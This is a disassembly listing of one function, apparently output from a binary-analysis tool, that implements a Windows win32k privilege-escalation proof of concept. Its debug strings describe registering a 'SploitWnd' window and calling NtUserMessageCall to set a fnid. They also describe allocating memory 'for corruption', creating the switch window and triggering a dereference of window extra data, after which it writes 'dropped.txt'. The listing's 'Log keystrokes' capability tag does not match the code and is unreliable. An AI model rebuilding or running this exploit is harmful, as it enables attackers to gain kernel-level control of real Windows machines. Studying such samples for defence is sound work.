Function at 0x140001070
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x1c0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
lea rcx, str.___Beginning_execution_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [sym.imp.USER32.dll_DefWindowProcW]
lea rbx, str.SploitWnd
mov qword [rsp + 0x68], rcx
xor ebp, ebp
xorps xmm0, xmm0
mov qword [rsp + 0x60], 0x50
xorps xmm1, xmm1
mov dword [rsp + 0x70], ebp
lea rcx, str.___Registering_window_n
movdqa xmmword [rsp + 0x80], xmm0
mov rdi, rax
movdqa xmmword [rsp + 0x90], xmm1
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0x78], rax
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0x74], 8
call fcn.140001010
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x140001134
lea rcx, str.____Failed_registering_SploitWnd_window_class_n
call fcn.140001010
lea ecx, [rbp - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Creating_instance_of_this_window_n
mov qword [rsp + 0x1d0], rsi
call fcn.140001010
mov qword [rsp + 0x58], rbp
lea r8, [0x140003338]
mov qword [rsp + 0x50], rdi
mov r9d, 0x10000000
mov qword [rsp + 0x48], rbp
mov rdx, rbx
mov qword [rsp + 0x40], rbp
xor ecx, ecx
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400011a2
lea rcx, str.____Failed_to_create_SploitWnd_window_n
call fcn.140001010
mov ecx, esi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.___Calling_NtUserMessageCall_to_set_fnid__0x2A0_on_window_n
call fcn.140001010
xor r9d, r9d
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0xe0
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rbp
lea edx, [r9 + 1]
call fcn.140001380
lea rcx, str.___Allocate_memory_to_be_used_for_corruption_n
call fcn.140001010
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
lea rcx, str._tptr:__p_n
mov rbx, rax
call fcn.140001010
lea rcx, str.___Calling_SetWindowLongPtr_to_set_window_extra_data__that_will_be_later_dereferenced_n
mov byte [rbx + 0x6c], 1
mov qword [rbx + 0x20], rbx
call fcn.140001010
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongPtrW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___GetLastError___x_n
call fcn.140001010
lea rcx, str.___Creating_switch_window_32771__this_has_a_result_of_setting__gpsi0x154___0x130_n
call fcn.140001010
mov qword [rsp + 0x58], rbp
lea r8, [0x140003338]
mov qword [rsp + 0x50], rdi
xor r9d, r9d
mov qword [rsp + 0x48], rbp
mov edx, 0x8003
mov qword [rsp + 0x40], rbp
xor ecx, ecx
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea rcx, str.___Simulating_alt_key_press_n
call fcn.140001010
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_GetKeyboardState]
or byte [rsp + 0xc2], 0x80
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_SetKeyboardState]
lea rcx, str.___Triggering_dereference_of_wnd__extraData_by_calling_NtUserMessageCall_second_time_n
call fcn.140001010
xor r9d, r9d
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], ebp
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rbp
lea edx, [r9 + 0x14]
call fcn.140001380
mov qword [rsp + 0x30], rbp
lea rcx, str.dropped.txt
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
test rax, rax
je 0x140001332
lea rcx, str.___CreateFile___succeeded_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001346
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.___CreateFile___failed:__s
call fcn.140001010
mov rsi, qword [rsp + 0x1d0]
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1400013a0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret